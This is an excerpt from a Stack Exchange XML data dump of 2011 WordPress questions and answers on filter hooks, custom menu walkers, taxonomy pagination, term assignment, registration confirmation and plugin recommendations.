  <row Id="26665" PostTypeId="1" CreationDate="2011-08-23T12:18:25.577" Score="0" ViewCount="46" Body="&lt;p&gt;I'm a bit confused as to why this isn't working - although it must be said I'm not that sure what apply_filters() and add_filters are doing, so any general tips would be great too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a query that brings up the five earlier posts on a single post page. I am sending the current post's date off, and want to apply a filter that filters out posts earlier than this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sw_filter_posts_before( $where = '', $date) {&#xA;&#xA;    $where .= &quot; AND post_date &amp;lt; '&quot; . $date . &quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I correctly apply this? Simply using add_filter or apply_filter before instantiating a new WP_Query object doesn't seem to work correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To go into things further, I would like to understand how to pass a variable into the filter, as I can't get $date to pass from another function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is said other function (it is an ajax call within wordpress, hence I start by getting the post ID for the current page through a $_POST variable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_more_videos_sidebar() {&#xA;&#xA;    $id = $_POST['theID'];&#xA;&#xA;    $args = array(  'post_type'         =&amp;gt;  'videos',&#xA;                    'posts_per_page'    =&amp;gt;  1,&#xA;                    'p'             =&amp;gt;  $id&#xA;                ); &#xA;&#xA;    $wp_query = new WP_Query($args);&#xA;&#xA;    while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); $do_not_duplicate = $post-&amp;gt;ID;&#xA;&#xA;        $date = get_the_date('Y-m-d');&#xA;&#xA;    endwhile;&#xA;&#xA;    $args = array(  'post_type'         =&amp;gt;  'videos',&#xA;                    'posts_per_page'    =&amp;gt;  5&#xA;                ); &#xA;&#xA;    add_filter( 'posts_where', 'sw_filter_videos_before' ); //don't know how to pass $date&#xA;&#xA;&#xA;    $wp_query = new WP_Query($args);&#xA;    remove_filter( 'posts_where', 'sw_filter_videos_before' );&#xA;&#xA;    //do loop stuff&#xA;&#xA;    $response = json_encode( array( 'result' =&amp;gt; $result ) );&#xA;&#xA;    header( &quot;Content-Type: application/json&quot; );&#xA;    echo $response;&#xA;&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7967" LastEditorUserId="7967" LastEditorDisplayName="" LastEditDate="2011-08-23T13:41:31.267" LastActivityDate="2011-08-23T17:58:19.277" Title="add_filters() / apply_filters() general question" Tags="&lt;wp-query&gt;&lt;filters&gt;&lt;apply-filters&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26666" PostTypeId="2" ParentId="26598" CreationDate="2011-08-23T12:18:58.773" Score="0" ViewCount="" Body="&lt;p&gt;Another solution, both an alternative and one that complements server-based caching, is &lt;a href=&quot;http://www.cloudflare.com&quot; rel=&quot;nofollow&quot;&gt;CloudFlare&lt;/a&gt;. It provides the speed improvements/uptime of a CDN, with powerful, hands-free security. And it's &lt;strong&gt;free&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And for users of W3 Total Cache: the two work hand-in-hand.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-23T12:18:58.773" />
  <row Id="26667" PostTypeId="2" ParentId="26665" CreationDate="2011-08-23T12:26:20.453" Score="1" ViewCount="" Body="&lt;p&gt;What are you attempting to filter? I'll assume you're trying to add a filter to a filter hook called &lt;code&gt;posts_before&lt;/code&gt;. In which case, you need to &lt;em&gt;add&lt;/em&gt; your filter to this hook, via &lt;code&gt;add_filter()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_filter_posts_before( $where = '', $date) {&#xA;&#xA;    $where .= &quot; AND post_date &amp;lt; '&quot; . $date . &quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;// Add function to the filter hook&#xA;add_filter( 'posts_before', 'mytheme_filter_posts_before' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I changed your function name. &lt;code&gt;filter_posts_before()&lt;/code&gt; is far too generic of a function name, and very likely to cause a function-naming collision.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And just to clarify:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;apply_filters()&lt;/code&gt; is the &lt;strong&gt;filter hook location&lt;/strong&gt;, is called by &lt;strong&gt;core code&lt;/strong&gt;, and is used to &lt;strong&gt;apply&lt;/strong&gt; any filters that are &lt;strong&gt;added to the queue&lt;/strong&gt; by Themes/Plugins (and core).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;add_filter()&lt;/code&gt; is called by &lt;strong&gt;Themes/Plugins&lt;/strong&gt; (and core), and is used to &lt;strong&gt;add filters to the queue&lt;/strong&gt; to be applied to the hook by core.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;EDIT 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on your comment above, the hook is &lt;code&gt;posts_where&lt;/code&gt;. So, let's take a crack at re-building your callback function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_filter_posts_where( $where ) {&#xA;&#xA;    // Here, we need to figure out how to&#xA;    // determine what date to use. In your &#xA;    // code example, you call get_the_date(),&#xA;    // but this function must be used inside&#xA;    // the Loop. Let's try get_the_time()&#xA;    // instead. You'll just need to come up&#xA;    // with a way to determine what post ID to use.&#xA;    $post = 'some_post_id';&#xA;    $date = get_the_time( 'Y-m-d', $post );&#xA;&#xA;    $where .= &quot; AND post_date &amp;lt; '&quot; . $date . &quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;// Add function to the filter hook&#xA;add_filter( 'posts_where', 'mytheme_filter_posts_where' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-23T17:58:19.277" LastActivityDate="2011-08-23T17:58:19.277" CommentCount="7" />
  <row Id="26668" PostTypeId="2" ParentId="26585" CreationDate="2011-08-23T12:28:35.647" Score="0" ViewCount="" Body="&lt;p&gt;I think, this is not so easy possible, on the media-page in Admin-area is it not possible to check the post_type of your CPT. Normaly you can change strings with the follow small source, an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() )&#xA;    add_filter( 'gettext', array( 'fb_string_translate', 'gettext_filter' ), 10, 1 );&#xA;class fb_string_translate {&#xA;&#xA;    static function gettext_filter( $str ) {&#xA;&#xA;        $from_to = array();&#xA;&#xA;        $post_type = get_post_type();&#xA;        if ( 'my_post_type' === $post_type )&#xA;            $from_to = array( 'Insert into Post' =&amp;gt; 'Insert into Test' );&#xA;&#xA;        return strtr($str, $from_to);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is important, that you check, on wich page is the author in admin and on the iframe of the media page it is not possible to read the post_type; maybe you find this var and then it is possible with the example source.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-23T12:28:35.647" />
  <row Id="26669" PostTypeId="2" ParentId="26655" CreationDate="2011-08-23T12:39:33.800" Score="0" ViewCount="" Body="&lt;p&gt;As commented above, you don't have to use TimThumb at all to get additional image sizes for your uploaded images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress ships with the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// functions.php&#xA;add_action('init', 'wpse26655_add_additional_image_sizes');&#xA;function wpse26655_add_additional_image_sizes() {&#xA;    add_image_size('thumb200x120', 200, 120, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your template files, you could than query your thumbnail with your desired image size. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// single.php / loop-content.php&#xA;&#xA;$thumbId = get_post_thumbnail_id();&#xA;&#xA;if($thumbId) :&#xA;    $thumbSrc =  wp_get_attachment_image_src($thumbId , 'thumb200x120');&#xA;    $thumbUrl = $thumbSrc[0];&#xA;    $thumbWidth = $thumbSrc[1];&#xA;    $thumbHeight = $thumbSrc[2];&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;post-thumbnail&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo $thumbUrl; ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo $thumbWidth; ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $thumbHeight; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The additional images sizes are generated on image upload. If you want new sizes for existing images inside your medialibray, you have to recreate all thumbnail images. A very good plugin for this purpose is &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-08-23T12:45:58.237" LastActivityDate="2011-08-23T12:45:58.237" CommentCount="2" />
  <row Id="26670" PostTypeId="1" AcceptedAnswerId="26672" CreationDate="2011-08-23T12:52:21.460" Score="0" ViewCount="20" Body="&lt;p&gt;I'm trying to style a custom menu &lt;a href=&quot;http://rvc.rickbutterfield.co.uk&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; so that I can let other people manage this site alongside myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is remove the text for the top level links while leaving the &lt;code&gt;a&lt;/code&gt; as a block so the links are clickable, however when I try and remove the text using &lt;code&gt;text-indent: -999em;&lt;/code&gt; (which I know isn't the neatest way of doing it) it recurses down the menu and hides all the the other links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest any neat ways of hiding the text?&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditorDisplayName="" LastEditDate="2011-08-23T13:00:03.187" LastActivityDate="2011-08-23T13:35:45.740" Title="Custom menu styling" Tags="&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="26671" PostTypeId="1" AcceptedAnswerId="26675" CreationDate="2011-08-23T13:07:52.633" Score="0" ViewCount="61" Body="&lt;p&gt;I have the following menu in my header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'menu'            =&amp;gt; 'Main Menu',&#xA;    'container'       =&amp;gt; false,&#xA;    'depth'           =&amp;gt; 1,&#xA;    'items_wrap'      =&amp;gt; '%3$s',&#xA;    'walker'          =&amp;gt; new Bar_List_Walker_Nav_Menu&#xA;);&#xA;wp_nav_menu($args);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I want to make the output look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;link1 | link2 | link3 | link4 | link5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I set out to make a walker function here is where I got to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Bar_List_Walker_Nav_Menu extends Walker_Nav_Menu {&#xA;    public $count;&#xA;    function start_lvl(&amp;amp;$output, $depth) {}&#xA;    function end_lvl(&amp;amp;$output, $depth) {}&#xA;    function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;        $attributes = ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;' : '';&#xA;&#xA;        $item_output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;        $item_output .= apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;        $item_output .= '&amp;lt;/a&amp;gt;';&#xA;&#xA;        $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );&#xA;    }&#xA;    function end_el(&amp;amp;$output, $item, $depth) {&#xA;        static $count;&#xA;        $count++;&#xA;        if(!$this-&amp;gt;count &amp;gt;= $count) {&#xA;            $output .= &quot; | &quot;;&#xA;        }&#xA;    }&#xA;    function walk( $elements, $max_depth ) {&#xA;        $this-&amp;gt;count = count($elements);&#xA;        parent::walk( $elements, $max_depth );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Missing argument 4 for Bar_List_Walker_Nav_Menu::start_el() in C:\xampp\DEV\Stace\trunk\wp-content\themes\philosophy\functions.php on line 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the function &lt;code&gt;walk()&lt;/code&gt; from my walker class it works fine except the count is no longer grabbed and as a result one &lt;code&gt;|&lt;/code&gt; too many is added to the end of my navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone work the code to get to my desired output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FINAL CODE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Bar_List_Walker_Nav_Menu extends Walker_Nav_Menu {&#xA;    public $count;&#xA;    public $running_count;&#xA;    function __construct() {&#xA;        $this-&amp;gt;count = 0;&#xA;        $this-&amp;gt;running_count = 0;&#xA;    }&#xA;    function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;        $attributes  = ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;' : '';&#xA;        $output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;        $output .= apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;        $output .= '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    function end_el(&amp;amp;$output, $item, $depth) {&#xA;        $this-&amp;gt;running_count++;&#xA;        if($this-&amp;gt;count &amp;gt; $this-&amp;gt;running_count)&#xA;            $output .= &quot; | &quot;;&#xA;    }&#xA;    function walk( $elements, $max_depth, $r ) {&#xA;        $this-&amp;gt;count = count($elements);&#xA;        return parent::walk( $elements, $max_depth, $r );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-08-24T11:31:11.827" LastActivityDate="2011-08-24T11:31:11.827" Title="Bar separated navigation by extending Walker_Nav_Menu" Tags="&lt;custom-menus&gt;&lt;navigation&gt;&lt;walker&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" />
  <row Id="26672" PostTypeId="2" ParentId="26670" CreationDate="2011-08-23T13:16:16.540" Score="1" ViewCount="" Body="&lt;p&gt;I think you can use the text-indent for this level, but you must set the text-indent for all a  -tags of the class sub-menu also set to 0, not -999px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#menu-main-navigation .link-experience a {&#xA;display: block;&#xA;height: 63px;&#xA;width: 167px;&#xA;text-indent: -999px;&#xA;}&#xA;&#xA;.sub-menu a {&#xA;text-indent: 0px !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="6256" LastEditorDisplayName="" LastEditDate="2011-08-23T13:35:45.740" LastActivityDate="2011-08-23T13:35:45.740" CommentCount="2" />
  <row Id="26673" PostTypeId="1" CreationDate="2011-08-23T13:29:58.620" Score="0" ViewCount="25" Body="&lt;p&gt;i've created a custom taxonomy template for my taxonomy and custom post type,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;custom post type name is &quot;ecommerce&quot; custom taxonomy is &quot;ecommerce_categories&quot;, the problem is with the pagination it shows correctly that there are 2 pages with posts inside it but when i click on page 2 i get 404 page, this happens only when i'm on the taxonomy page, i've also created a custom page template that does the same as the taxonomy file and the pagination works here (on the custom page template) the problem is only when i'm on the taxonomy category page. This is the code of the file taxonomy-ecommerce_categories.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;        $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;        $term = $wp_query-&amp;gt;queried_object;&#xA;&#xA;        $shop_loop = new WP_Query( array( 'post_type' =&amp;gt; 'ecommerce', 'ecommerce_categories' =&amp;gt; $term-&amp;gt;name, 'posts_per_page' =&amp;gt; 2, 'orderby' =&amp;gt; 'menu_order', 'paged'=&amp;gt;$paged ) ); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php while ( $shop_loop-&amp;gt;have_posts()  ) : $shop_loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;                // here is my loop code with divs links etc.. etc...&#xA;&#xA;        &amp;lt;?php endwhile;?&amp;gt;&#xA;        &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php if(function_exists('wp_pagenavi')) { wp_pagenavi( array( 'query' =&amp;gt; $shop_loop ) ); } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the pagination but when i click on page 2 or page 3 i get 404 error page this happen with any permalink setting and also if i change the pagination from the wp pagenavi plugin to the wordpress default one using this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_link_pages(); ?&amp;gt; or previous_post_link and next_post_link &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i can't see it nothing is displayed below posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i fix this ? what i'm doing wrong ?&lt;/p&gt;&#xA;" OwnerUserId="8127" LastActivityDate="2011-08-23T13:29:58.620" Title="Getting 404 on taxonomy page" Tags="&lt;pagination&gt;&lt;taxonomy&gt;" />
  <row Id="26674" PostTypeId="1" AcceptedAnswerId="26736" CreationDate="2011-08-23T13:38:14.577" Score="-6" ViewCount="39" Body="&lt;p&gt;i need to show social like buttons(facebook,Google+, twitter like boxes) for every posts and Front page of the blog also. like the below site,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thecentsiblelife.com/2011/08/giveaway-fill-the-backpack/&quot; rel=&quot;nofollow&quot;&gt;http://www.thecentsiblelife.com/2011/08/giveaway-fill-the-backpack/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;plz help.&lt;/p&gt;&#xA;" OwnerUserId="6245" LastActivityDate="2011-08-24T01:41:17.887" Title="How can i show social like buttons in posts?" Tags="&lt;plugins&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="26675" PostTypeId="2" ParentId="26671" CreationDate="2011-08-23T14:03:36.907" Score="1" ViewCount="" Body="&lt;p&gt;After some discussion in chat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Bar_List_Walker_Nav_Menu extends Walker_Nav_Menu {&#xA;    public $count;&#xA;    function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;        $attributes  = ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;' : '';&#xA;        $output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;        $output .= apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID );&#xA;        $output .= '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    function end_el(&amp;amp;$output, $item, $depth) {&#xA;        static $count;&#xA;        $count++;&#xA;        if($this-&amp;gt;count &amp;gt; $count)&#xA;            $output .= &quot; | &quot;;&#xA;    }&#xA;    function walk( $elements, $max_depth, $r ) {&#xA;        $this-&amp;gt;count = count($elements);&#xA;        return parent::walk( $elements, $max_depth, $r );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-23T14:03:36.907" CommentCount="1" />
  <row Id="26676" PostTypeId="2" ParentId="26674" CreationDate="2011-08-23T14:16:33.660" Score="0" ViewCount="" Body="&lt;p&gt;A basic Google search for &lt;a href=&quot;http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=wordpress+google+plus+button&quot; rel=&quot;nofollow&quot;&gt;&quot;wordpress google plus button&quot;&lt;/a&gt; returns a list of at least 5 to choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, just right-clicking on the site you linked to and viewing the page's code shows they're using WordPress with the &lt;a href=&quot;http://wordpress.org/extend/plugins/digg-digg/&quot; rel=&quot;nofollow&quot;&gt;Digg Digg plugin&lt;/a&gt; to add their social widgets.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-23T14:16:33.660" />
  <row Id="26677" PostTypeId="2" ParentId="26674" CreationDate="2011-08-23T14:16:39.273" Score="0" ViewCount="" Body="&lt;p&gt;Try this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/add-to-any/&quot; rel=&quot;nofollow&quot;&gt;Add to any&lt;/a&gt;. G+ included.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-23T14:16:39.273" />
  <row Id="26678" PostTypeId="2" ParentId="26674" CreationDate="2011-08-23T14:18:46.150" Score="0" ViewCount="" Body="&lt;p&gt;Here's the first result that shows up upon searching for 'wordpress google +1 button in post':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-plus-one/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-plus-one/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8105" LastActivityDate="2011-08-23T14:18:46.150" />
  <row Id="26679" PostTypeId="2" ParentId="13981" CreationDate="2011-08-23T14:49:59.317" Score="0" ViewCount="" Body="&lt;p&gt;I don't seem to have many options other than put my site onto a dedicated server now. I've battled with plugins Taking them down and trying to find the most suitable but as site is growing fast the server usage is causing crashes and my host is none too please ( although very supportive) and I just cannot do without them in any way. &lt;/p&gt;&#xA;" OwnerUserId="8128" LastActivityDate="2011-08-23T14:49:59.317" />
  <row Id="26680" PostTypeId="1" AcceptedAnswerId="26698" CreationDate="2011-08-23T14:58:51.387" Score="0" ViewCount="27" Body="&lt;p&gt;I have the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$genres= array('action', 'comedy', 'horror');&#xA;foreach($genres as $genre){&#xA;      $ret = wp_set_object_terms( $postId, $genre, 'genres');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code associates only horror as the genre. When I checked the DB too, I don't have a record for action and comedy. How do I associate all the three with my genre?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8129" LastActivityDate="2011-08-23T17:36:42.960" Title="wp_set_object_terms not working inside loop" Tags="&lt;wp-set-object-terms&gt;" AnswerCount="1" />
  <row Id="26681" PostTypeId="2" ParentId="26517" CreationDate="2011-08-23T14:59:41.607" Score="0" ViewCount="" Body="&lt;p&gt;you can use  a plugin called &quot;comment reply notification&quot;  &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-reply-notification/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/comment-reply-notification/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps I didnt know anyone could add comments without leaving their email adress anyway as they could all be spammers then surely? &lt;/p&gt;&#xA;" OwnerUserId="8128" LastActivityDate="2011-08-23T14:59:41.607" CommentCount="1" />
  <row Id="26682" PostTypeId="1" CreationDate="2011-08-23T15:02:05.093" Score="0" ViewCount="32" Body="&lt;p&gt;&lt;strong&gt;I have set up the registration form using this chunk of code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_create_user($username, $password, $email);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that i have did all kinds of validation before use this code. The registration is working fine now. But it register and activate the user account immediately after the form get submitted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want is confirming the email of a user before they can use the account. User have to check there email account and click the confirmation link and user account get registered/active.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-23T16:30:17.123" Title="Email confirmation on registration" Tags="&lt;email&gt;&lt;registration&gt;&lt;user-registration&gt;" AnswerCount="1" />
  <row Id="26684" PostTypeId="1" CreationDate="2011-08-23T15:16:27.500" Score="0" ViewCount="14" Body="&lt;p&gt;I'm using the &lt;code&gt;Post Expirator&lt;/code&gt; plugin to expire posts.  Essentially there are two things I'd like to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;gravity forms&lt;/code&gt; for a submission that automatically sets the &lt;code&gt;expiration-date&lt;/code&gt; custom field 30 days from the submission (rather the post creation time).  I can easily set the custom field, but using the Post Expirator plugin, on the backend, &lt;code&gt;Expire Post/Page&lt;/code&gt; needs to be enabled, or else the custom field is deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my second submission, it should be easier than the first.  I just want to use a date form to set the expiration date for a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind you, both forms submit to two different custom post types (&lt;code&gt;jobs&lt;/code&gt; and &lt;code&gt;opportunities&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can use gravity forms or a custom field through gravity forms to automatically set an expiration date that will actually trash the posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of &lt;code&gt;wp_schedule_event()&lt;/code&gt;, but I'm unsure of how to use it in this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm perfectly okay with ditching the expiration plugin if I can find a backend cron way of doing this, but I'm unfamiliar with cron and scheduling events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-23T15:16:27.500" Title="Set Post Expirator date/time through PHP" Tags="&lt;custom-post-types&gt;&lt;cron&gt;&lt;plugin-gravity-forms&gt;&lt;scheduled-posts&gt;&lt;expiry&gt;" CommentCount="1" />
  <row Id="26685" PostTypeId="2" ParentId="24436" CreationDate="2011-08-23T15:33:59.863" Score="2" ViewCount="" Body="&lt;p&gt;You don't have to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On WP load:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'init' hook -&amp;gt; kses_init() -&amp;gt; kses_init_filters()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_insert_post() -&amp;gt; sanitize_post() -&amp;gt; sanitize_post_field() -&amp;gt; 'content_save_pre' -&amp;gt; wp_filter_post_kses()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly for post titles, comment text etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion: wp_insert_post() is very sanitized. :)&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-23T21:32:55.140" LastActivityDate="2011-08-23T21:32:55.140" CommentCount="4" />
  <row Id="26686" PostTypeId="2" ParentId="20824" CreationDate="2011-08-23T16:02:20.977" Score="1" ViewCount="" Body="&lt;p&gt;I had the same problem before. When I asked my friend, who is maintaining the server, he answered me that it's because of the &lt;strong&gt;server firewall&lt;/strong&gt;. When he turned of the firewall, everything was ok (plugins can update, akismet can check for spam, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you've checked all your settings with Core Control (make sure that all the tranports are turned on) and the problem still happens, you should ask your host provider for the firewall settings, just like me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-23T16:02:20.977" />
